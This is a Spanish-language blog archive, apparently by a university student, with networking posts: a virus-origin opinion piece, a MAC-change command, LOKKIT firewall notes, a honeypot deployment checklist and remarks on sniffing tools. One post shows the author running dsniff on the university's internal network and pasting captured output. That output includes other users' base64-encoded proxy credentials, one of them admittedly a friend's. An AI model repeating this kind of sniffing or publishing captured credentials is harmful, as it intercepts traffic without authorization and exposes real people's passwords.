You are currently browsing the category archive for the 'Redes' category.
Pajareando por el internet me encontré con esta cuestión, que para los informáticos noveles es una de las cuestiones de caja, y que normalmente mucha gente que maneja o tiene al menos una computadora comenta esta situación como verdadera, pero, ¿Qué tan cierta es esa afirmación?

¿Las desarrolladoras de software son las que crean virus?
Normalmente he escuchado “Hombre, los mismos que hacen los anti-virus son los que hacen los virus…..” – “….sino de que viven”, es un silogismo simple, pero que tiene una afirmación para nada confirmada (oficialmente hablando). Los cierto es que los virus son aplicaciones que destruyen, en el peor de los casos, pero la real existencia de estos se da gracias a las vulnerabilidades (voluntarias e involuntarias) que vienen con el software, errores propios de los sistemas operativos y las vulnerabilidades de estos y en algunos de los casos debido a características que proporcionan los propios sistemas.
El problema al desarrollar los sistemas operativos es que quienes los fabrican no alcanzan la perfección, lo intentan haciendo incluso liberaciones para con la ayuda de la comunidad encontrar errores (versiones beta), y luego de mitigar los errores más críticos y aplacar los de mediano y corto riesgo lanzan las versiones finales. Esta es una descripción escueta del proceso que sigue Microsoft con sus sistemas operativos, hizo lo mismo con Xp, paso con virus Vista y ahora con SEVEN.
Ahora se pensará que las versiones finales ya no tienen errores, en el caso de Microsoft si eso sucediera pues simplemente los Service Pack no existirían, y en el caso de las distintas distribuciones Linux y los demás sistemas operativos los parches no serían necesarios, pero pues lamentablemente no es así.

Así como hay casas desarrolladoras de software con personal de un conocimiento extraordinario en sistemas, también existen los del otro lado de la vereda, aquellos que conocen a la perfección los sistemas, inclusive sin haberlos desarrollado, estas personas están normalmente merodeando en la red para atacar equipos, y hoy en día y en gran medida son quienes aportan en la creación de aplicaciones que aprovechen vulnerabilidades (Llámese estas virus, rootkits, troyanos, keyloggers, bots, spam, etc.), con distintos fines, muchos con ganas de mejorar los sistemas (dañar algo para mejorarlo mmmmm), otros con ganas solamente de encontrar vulnerabilidades y muchos con ganas de dañar y ganar fama en el mundo black hat, claro que también están los que lo hacen solamente con ganas de joder la paciencia (La mayoría Lamers).
Así que por el momento les dejo las siguientes cuestiones:
¿Crees que los propios desarrolladores de software crean los virus?
¿Sino son ellos quienes? Y ¿Por qué?
Buscando una forma sencilla de cambiar la mac de mi maquina encontré esta sencilla línea:
ifconfig <interfaz> hw <tipo de hardware> <dirección MAC>
Luego de esto es preferible reiniciar el servicio:
sudo /etc/init.d/networking restart
Para cambiar por defecto la dirección MAC ingresamos al directorio:
/etc/networks/ y en el archivo interfaces ubicamos una nueva línea: MACADDR=<DIRMAC>
Normalmente o la costumbre es hablar sobre la seguridad sobre equipos con SO de Microsoft, cosas como configuar el firewall, un buen antivirus, uno q otro anti-troyano, etc. Pero que tal si se menciona algo de seguridad sobre linux en equipos finales.
Asi tenemos ésta aplicacion, LOKKIT, un firewall tan sencillo de configurar que te permite como usuario final tener un poco más de seguridad cuando navegas por la red.
En el ubuntu8.10 obtengo una pantalla similar a esta:

Aqui debes determinar que grado de firewall necesitas, alto, medio o arriesgate sin nada, luego en el boton Customize, se puede detallar un tanto más los servicios que deseamos negar, claro los más conocidos, pero si deseamos cerrar alguna aplicación como pop o dns solamente debemos especificar los puertos y listo.
Algo que falta acotar es que este firewall es de los más sencillos para linux, no es muy bueno cuando tratemos de aplicar reglas más complejas y fuertes al equipo.

Deployment prodecure
1. The hard disk must be written with a constant data pattern (usually zeros). This procedure also has the benefit that disk image copies compress better, and that deleted files are easier to find.
2. The chosen operating system is installed. Default options.
3. The chosen services are installed, configured and initialized.
4. The honeypot’s configuration script is executed to create new users, configure the network settings, etc.
5. In order to monitor the attacker’s steps, keystroke recording system are configured in the honeypot. These systems can send the commands typed by an attacker to a loghost, using the syslog system, and broadcast this information directly into the network.
6. A script to generate the MD5 and SHA1 hashes of the honeypot’s files is executed. The hashes can be used later to discover which files have been changed by an attacker.
NOTE. Some authors could recommend extract a entire copy (image) of the honeynet with the purpose of a future test with the original configurations.
7. A script to generate the system’s status is executed. This is composed of the output of some Unix commands like ps, netstat, lsof, socklist and df.
8. The MD5 and SHA1 hashes and the system’s status files are stored in a loghost in the administration subnet which stores also the system’s images.
9. Traces of the steps (5-8) above are erased.
10. The system’s image is generated and exported to the loghost.
11. The new honeypot is connected in the honeynet and monitored until the moment when it will be turned off.
I’m going to try with this procedure……
That is a extract of honeynets maintanence and tools, June 2005.
Con un simple comando he podido obtener algunas claves para autenticación con el proxy de la red interna de la utpl, es muy sencillo
root: dsniff -d -i eth0
dsniff: trigger_tcp: decoding port 3128 as http
—————–
04/01/09 05:19:53 tcp 172.16.25.154.22994 -> gdr4.utpl.edu.ec.3128 (http)
GET http://www.hlatorre.com/images/back_izq8.gif HTTP/1.1
Host: www.hlatorre.com
Proxy-Authorization: Basic aGZnb21lejo5OTQ4Mw== [h¶g¹mºz:¼Á4À3]
dsniff: trigger_tcp: decoding port 3128 as http
—————–
04/01/09 05:19:58 tcp 172.16.25.159.42177 -> gdr4.utpl.edu.ec.3128 (http)
CONNECT certs.opera.com:443 HTTP/1.0
Host: certs.opera.com:443
Proxy-Authorization: Basic anBhbmdhbWFyY2E6cXVlY2h1Y2hhdG
[
Es algo tan sencillo no? cualquiera puede utilizar este tipo de herramientas, es muy sencillo encontrarlas e instalarlas, pero, por tal razón hay que tomar medidas, puesto que cualquiera puede ponerse a escuchar las contraseñas en una inalambrica y sacar las claves, como se muestran aqui.
Además e puesto caracteres especiales en los usuarios y contraseñas, la presenta es solo una muestra, un amigo se atravesó con su clave y pues lamentablemente no pude hacer nada dsniff la sacó.

Tratando de realizar unas pruebas krlos me indico usar una aplicación que permite sacar los subdominios de un dominio, asi que realice una primera pruebita y sip, si sirve, me mostró todos los servidores de el dominio especificado, ésta aplicación está incluida en la distribución de slax, Bactrack en el 2.0 y el 3.0 beta.
Luego de terminar de montar el servidor de auditoria, se me encomendó la tarea de revisar algo de ésta metodología que permite planificar mejor los test de seguridad y métricas, es decir construir una planificación ordenada de la auditoria en una organización.
¿A que acceder y por que tiempo se puede forzar al máximo riesgo? Esta pregunta es primordial, en cualquier organización en la que se ejecute una auditoria se necesita saber cuanto tiempo se puede exponer a un activo (que cumpla una importante función), y aún más si este activo tiene una función crítica en la organización.
En nuestra universidad es crítico exponer al dhcp a una prueba, si te lo bajas, se cae casi toda la red, es decir este activo no puede fallar y hacer una prueba que lleva menos de una hora debe ser análizada hasta el cansancio.
¿En que circusntancias podemos encontrar las principales debilidades?

Es decir que produce que aparezca una debilidad y potencial fuente de ataques de alto riesgo, puede que esta se produzca por el uso de alguna aplicación sobre la cual no se analizó a profundidad su uso, etc.
¿Que testear? y ¿Por que?
Bueno el por que nace de la necesidad de las organizaciones de saber que tan vulnerables son, y si esas vulnerabilidades son riesgos potenciales sobre su información, el que testear sale de hacer una revisión sobre los dispositivos principales y blancos de ataques, es decir si se realiza una auditoría no perderemos el tiempo por saber cuan vulnerable es la maquina de la secretaria paquita Pérez.
Espero seguir compartiendo un poco más de este tema pronto…..
La auditoría de redes no es cosa de algún Einstein, no ya no y el hackeo tampoco, en la actualidad existen un sin número de aplicaciones que permiten a cualquiera infiltrarse en una red, capturar datos de los compañeros, sacar claves, bajarse una maquina, o simplemente andar husmeando por la red.
Aplicaciones como john the ripper, cain&abel, snort, netsed, dsniff, ettercap y muchos otros permiten realiar esto, he utilizado cain&abel, jhon the ripper, knife y ettercap, sobre todo ettercap, que en mi parecer es uno de los mejores sniffers de la red, claro muy por detras de snort.
Las cualidades de ettercap son innumerables, puede realizar un simple sniffing, o proporcionar mitm attacks, o bajarte una maquina utilizando el D.O.S attack, o inundar la red de direcciónes mac falsificadas, inyectar información en conexiones o eliminarlas por completo a estas, etc.
Esta es una muetra como trabaja ettercap la última versión 0.7.3.






Recent Comments